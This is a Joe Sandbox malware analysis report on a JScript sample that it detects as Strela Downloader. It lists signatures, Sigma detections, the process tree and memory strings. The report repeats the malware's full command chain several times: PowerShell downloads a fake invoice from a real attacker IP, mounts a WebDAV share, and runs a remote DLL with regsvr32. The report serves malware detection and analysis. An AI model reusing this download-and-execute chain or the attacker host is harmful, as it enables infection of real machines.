Edit tour

Windows Analysis Report
23858205001607627322.js

Overview

General Information

Sample name:	23858205001607627322.js
Analysis ID:	1588739
MD5:	d3f7493df9ce1be6fe907e51c578d763
SHA1:	241ce30410c11787fce90e527ce7a36b80d142ae
SHA256:	235ee41dec919521ff9c778136b665bc6617de08279b3496ab522f60e307088c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7524 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7572 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7616 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8088 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2912 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1736,i,17611927009858433007,8667567242889231393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7960 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8160 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7524	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7572, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7572, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ProcessId: 7524, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ProcessId: 7524, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7572, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7960, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8160, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7960, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7572, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 23858205001607627322.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 23858205001607627322.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1744284221.00000216BAF3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1850594707.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1850502462.0000025E39618000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1841663877.0000025E39670000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1848704576.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1850706498.0000025E39672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1850594707.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1848704576.0000025E39654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/1
Source: net.exe, 00000006.00000002.1850594707.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1848704576.0000025E39654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: net.exe, 00000006.00000002.1850502462.0000025E39618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.3045491191.000001EBA8284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA8448000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA8448000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA8448000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA847D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA84F2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA84F2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1842974274.000001EBA84F2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7524, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
